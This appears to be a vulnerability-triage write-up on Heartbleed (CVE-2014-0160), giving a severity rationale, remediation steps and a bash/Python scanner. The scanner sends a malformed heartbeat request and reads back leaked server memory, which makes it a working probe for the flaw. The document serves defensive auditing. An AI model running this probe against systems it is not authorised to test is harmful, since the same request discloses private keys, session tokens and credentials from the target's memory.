OpenSSL Heartbeat Information Disclosure

CVE-2014-0160 is a missing-bounds-check in OpenSSL's TLS/DTLS heartbeat extension (RFC 6520). An attacker sends a heartbeat request claiming a payload length larger than the actual payload; the vulnerable server dutifully returns up to 64 KB of adjacent process memory per request. That memory routinely contained private keys, session cookies, HTTP request bodies, credentials, and CSRF tokens. Affected versions are OpenSSL 1.0.1 through 1.0.1f and 1.0.2-beta / 1.0.2-beta1. Fixed in OpenSSL 1.0.1g (07 Apr 2014) and heartbeat compiled out entirely in later branches. 1.0.0.x and 0.9.8.x are NOT affected.

The vendor label of MEDIUM here is a Tenable plugin risk-factor artifact, not the ground truth. NVD scores this CVSS v2 5.0 / CVSS v3.1 7.5, and it is on the CISA KEV catalog (added 10 May 2022) with confirmed mass exploitation in 2014 (Community Health Systems: 4.5M patient records; Canada Revenue Agency: 900 SINs; Mumsnet; countless VPN concentrators). Treat this as HIGH in 2026: pre-auth, unauthenticated, network-reachable memory disclosure of private keys on the exact process handling TLS. The only reason it is not CRITICAL today is that the surviving population is tiny and the affected component was aggressively purged over a decade.

Why this verdict

• Vendor label is wrong for the wrong reason. Tenable plugin 73412 carries a legacy MEDIUM risk_factor, but NVD CVSS v3.1 is 7.5 HIGH and CISA KEV-listed. Baseline should be HIGH, not MEDIUM.
• Pre-auth network memory disclosure of the TLS process. No credentials, no user interaction, no chained bug. One packet leaks 64 KB of the process that holds your private key — a rare and high-value primitive.
• Role multiplier — surviving population skews to worst-case roles. In 2026 the ~57K remaining vulnerable hosts are overwhelmingly VPN concentrators, IPMI/BMC firmware, ICS HMIs, and abandoned edge appliances. Chain outcome on those roles is private-key theft → traffic decryption / impersonation → network edge compromise. Floor is HIGH.
• Exposure population narrows the ceiling. <0.02% of TLS-serving hosts globally are still vulnerable per Shodan/Censys 2026. This is not a fleet-wide crisis for a modern shop — it is targeted debt hunting.
• PFS and HSMs blunt the worst outcomes for defenders who did the 2014–2016 migration. But that is deployment-hygiene mitigation, not vulnerability-severity mitigation.

Why not higher?

Not CRITICAL because the affected code has been out of mainline for over a decade, the surviving population is a rounding error of the internet, and TLS 1.3 endpoints are structurally immune. A CRITICAL floor would require either a wide vulnerable install base or a fresh disclosure window with unpatched systems — neither applies in 2026.

Why not lower?

Not MEDIUM despite Tenable's plugin label because the vulnerability is KEV-listed, unauthenticated, network-reachable, and exposes private key material from the security-critical process. Any single hit against a VPN gateway or identity edge is a full-tenant-compromise event. Downgrading to MEDIUM would understate the per-host blast radius.

1. Inventory and rotate before you patch — Assume any private key, certificate, session token, and long-lived credential ever handled by a vulnerable process is compromised. Rotate keys, reissue certs (revoke the old serials via CRL/OCSP), invalidate all sessions, and force credential resets on the affected service. Complete within the noisgate mitigation SLA of 30 days.
2. Block or terminate TLS at a modern edge — Front vulnerable listeners with a current TLS-terminating reverse proxy (nginx, HAProxy, Envoy, or a WAF/CDN). This structurally strips the heartbeat extension before it reaches the vulnerable stack. Deploy within the mitigation window; this is the practical containment for embedded devices you cannot patch.
3. Disable heartbeat where OpenSSL cannot be upgraded — Recompile with -DOPENSSL_NO_HEARTBEATS, or on appliances disable DTLS/TLS heartbeat via vendor configuration. Only valid if the device offers the toggle — most 2014-era embedded gear does not.
4. Segment and monitor the residual population — Any host you cannot patch or upgrade goes into a firewalled enclave with inbound TLS restricted to a jump proxy. Turn on the Snort/Suricata Heartbleed SIDs on the segment egress — they are cheap and reliable.
5. Decommission — the real fix — OpenSSL 1.0.1 is EOL since Dec 2016. If a host is still vulnerable in 2026 you are not patching a library, you are extending EOL infrastructure. Schedule replacement within the noisgate remediation SLA of 180 days.

Run from an auditor workstation with network reach to the target. No credentials required. Example: ./heartbleed-check.sh vpn.example.com 443. Exits 2 = VULNERABLE, 0 = PATCHED, 3 = UNKNOWN.

#!/usr/bin/env bash
# noisgate: CVE-2014-0160 Heartbleed check (unauthenticated, network)
# Requires: bash, openssl, python3 (for the raw heartbeat probe)
set -u

HOST="${1:-}"
PORT="${2:-443}"

if [[ -z "$HOST" ]]; then
  echo "Usage: $0 <host> [port]" >&2
  exit 3
fi

# Step 1: Does the server even advertise the heartbeat extension?
HB=$(echo | openssl s_client -connect "${HOST}:${PORT}" -tlsextdebug 2>/dev/null \
  | grep -i 'heartbeat' || true)

if [[ -z "$HB" ]]; then
  echo "PATCHED (heartbeat extension not advertised on ${HOST}:${PORT})"
  exit 0
fi

# Step 2: Send a malformed heartbeat and see if we get memory back.
python3 - "$HOST" "$PORT" <<'PY'
import socket, struct, sys, ssl
host, port = sys.argv[1], int(sys.argv[2])

hello = bytes.fromhex(
  "16 03 02 00 dc 01 00 00 d8 03 02 53"
  "43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf"
  "bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00"
  "00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88"
  "00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c"
  "c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09"
  "c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44"
  "c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c"
  "c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11"
  "00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04"
  "03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19"
  "00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08"
  "00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13"
  "00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00"
  "00 0f 00 01 01".replace(" ", ""))
hb = bytes.fromhex("18 03 02 00 03 01 40 00".replace(" ", ""))

s = socket.socket()
s.settimeout(5)
try:
    s.connect((host, port))
    s.send(hello)
    # drain ServerHello
    deadline = 0
    while deadline < 4:
        hdr = s.recv(5)
        if len(hdr) < 5: break
        typ, ver, ln = hdr[0], hdr[1:3], struct.unpack(">H", hdr[3:5])[0]
        s.recv(ln)
        deadline += 1
    s.send(hb)
    hdr = s.recv(5)
    if len(hdr) == 5 and hdr[0] == 0x18:
        ln = struct.unpack(">H", hdr[3:5])[0]
        leaked = s.recv(ln)
        if len(leaked) > 3:
            print(f"VULNERABLE ({host}:{port} returned {len(leaked)} bytes of memory)")
            sys.exit(2)
    print(f"PATCHED ({host}:{port} rejected malformed heartbeat)")
    sys.exit(0)
except Exception as e:
    print(f"UNKNOWN ({host}:{port} probe failed: {e})")
    sys.exit(3)
finally:
    s.close()
PY
exit $?

Sources

1. NVD — CVE-2014-0160
2. CISA KEV Catalog
3. OpenSSL Security Advisory (07 Apr 2014)
4. Heartbleed.com — Codenomicon disclosure site
5. Tenable Plugin 73412
6. Cloudflare Heartbleed Challenge — key extraction proof
7. Metasploit openssl_heartbleed module
8. heartleech by Robert Graham